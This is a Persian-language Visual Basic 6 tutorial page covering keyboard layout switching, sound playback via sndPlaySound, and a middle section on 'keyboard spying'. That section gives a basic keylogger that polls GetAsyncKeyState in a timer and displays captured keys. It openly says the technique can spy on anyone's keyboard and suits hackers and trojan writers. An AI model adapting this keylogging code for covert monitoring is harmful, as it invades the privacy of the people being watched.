آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

تغییر دادن زبان صفحه کلید

مثل قبل یک پروژه جدید باز کنید و دو دکمه فرمان (Command1 , Command2 ) روی فرم قرار دهید . از منوی View گزینه Code را بزنید تا پنجره کدها باز شود. سپس کدهای زیر را در پنجره کدها بنویسید:

Private Declare Function LoadKeyboardLayout Lib "user32.dll" Alias "LoadKeyboardLayoutA"(Byval pwszKLID as String , ByVal Flags as long ) as Long

Private Sub Command1_Click

LoadKeyboardLayout "00000429" , 1

End Sub

Private Sub Command2_Click

LoadKeyboardLayout "" , 1

End Sub

در قطعه کد بالا با زدن دکمه فرمان ۱ (Command1)زبان صفحه کلید فارسی میشود و بازدن دکمه فرمان۲ زبان صفحه کلید به انگلیسی مبدل میشود.

جاسوسی از کیبورد

با استفاده از این تابعی که آموزش میدم شما میتونید از کیبورد خودتون یا هرکس دیگه جاسوسی کنید.
البته این کار بیشتر به درد هکرها و تروجان نویس ها میخوره.

یک پروژه جدید باز کنید و در فرم خود یک Label , Timer قرار دهید سپس در پنجره کد کدهای زیر را بنویسید:

Private Declare Function GetAsyncKeyState Lib "user32.dll"(Byval vKey as long)as Integer

Private Sub Timer1_Timer

Dim J
For I = 0 To 255
J = 0
J = GetAsyncKeyState(I)
If J <> 0 Then
Label1.Caption = Label1.Caption & Chr(I)
End If
Next

End Sub

برنامه خودتون رو اجرا کنید و با زدن کلیدهای کیبورد نتیجه رو ببینید.راستی خاصیت AutSize کنترل Label را برابر True کنید.

پخش فایل های صوتی در ویژوال بیسیک

شاید شما تا حالا کنترل MultiMedia ویژوال بیسیک رو دیده باشید و با اون کار کرده باشید اما در اینجا ما بدون کمک گرفتن از این کنترل میخواهیم چگونگی پخش فایل های صوتی رو بلد شیم.

برای پخش فایلهای صوتی باید از توابع API ویندوز استفاده کنیم که ما در ینجا از تابع sndPlaySound استفاده کرده ایم .
برای استفاده از توابع API ویندوز (همون طور که در جلسات قبل گفتم ) باید آنها را Declare کنیم .
کدهای زیر را در قسمت General فرم خود بنویسید:

Private Declare Function sndPlaySound lib "winmm.dll" Alias "sndPlaySoundA"(ByVal _
lpszSoundName as String , uFlags as Long) as Long

تابع sndPlaySound دارای دو آرگومان میباشد که ارگومان اول(lpszSoundName)مسیر و نام فایل صوتی است و آرگومان دوم (uFlags) با ثابت هایی که میگیرد چگونگی پخش را کنترل میکند. در زیر تعدادی از ثابت های آرگومان دوم توضیح داده شده است:

SND_ASYNC : در صورتی که این ثابت را انتخاب کنید در زمان پخش فایل صوتی می توانید کارهای عادی دیگر خود را انجام دهید.

SND_SYNC : با انتخاب این ثابت در زمان پخش فایل صوتی تا وقتی که فایل صوتیمان بپایان نرسیده کار دیگری نمی توانیم انجام دهیم.

SND_LOOP : با انتخاب این ثابت فایل صوتی به صورت مکرر پخش خواهد شد.

SND_NODEFAULT : با انتخاب این ثابت اگر فایل صوتی در مسیر تعیین شده وجود نداشت صوتی پخش نمی شود.

اگر بخواهید از دو یا چند ثابت به طور همزمان استفاده کنید باید با نوشتن OR دو ثابت را با هم بیاورید.

بعد از تعریف کردن تابع API در همان جا (یعنی قسمت General فرم) ثابت های بالا را تعریف کیند:

Private Const SND_ASYNC = &H1
private Const SND_LOOP = &H8
Private Const SND_NODEFAULT = &H2
private Const SND_SYNC = &H0

حالا در وسط فرم خود یک دکمه فرمان (Command1) قرار دهید و روی آن دوبار کلیک کنید تا به پنجره کدها بروید.سپس کدهای زیر را بنویسید:

Private Sub Command1_Click

sndPlaySound "FileName" , SND_ASYNC OR SND_NODEFAULT

End Sub

در قطعه کد بالا به جای "FileName" مسیر و نام فایل صوتی با فرمت Wav. را بنویسید.برنامه را اجرا کنید و حالشو ببرید.